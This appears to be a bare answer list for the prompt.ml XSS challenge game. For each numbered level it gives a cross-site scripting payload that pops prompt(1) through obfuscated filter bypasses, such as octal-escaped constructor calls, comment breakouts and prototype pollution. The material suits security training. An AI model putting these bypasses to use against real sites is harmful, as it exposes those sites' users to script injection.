This is a XSS injection game inspired by alert(1) to win.
http://prompt.ml/
0x0
| 1
 | "autofocus/onfocus="prompt(1)
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0x1
| 1
 | <img src onerror=prompt(1) \
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0x2
| 1
 | <script>Set.constructor`prompt\x281\x29```</script>
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0x3
| 1
 | --!><img src onerror=prompt(1)
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0x4
0x5
| 12
 
 | " type=image src onerror="prompt(1)
 
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0x6
| 1
 | javascript:prompt(1)#{"action":"z"}
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0x7
| 1
 | "><script>`#`;prompt(1)`#`</script>
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0x8
| 1
 | [U+2028]prompt(1)[U+2028]-->
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0x9
| 1
 | <ımg src onerror=[]["\146\151\154\164\145\162"]["\143\157\156\163\164\162\165\143\164\157\162"]("\160\162\157\155\160\164\50\61\51")()>
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0xA
0xB
0xC
| 1
 | eval((1558153217).toString(36).concat(String.fromCharCode(40).concat(1).concat(String.fromCharCode(41))))
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0xD
| 1
 | {"__proto__":{"source":"$'<svg/onload=prompt(1)//"},"source":"z*"}
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0xE
| 1
 | "><script>`#`;prompt(1)`#`</script>
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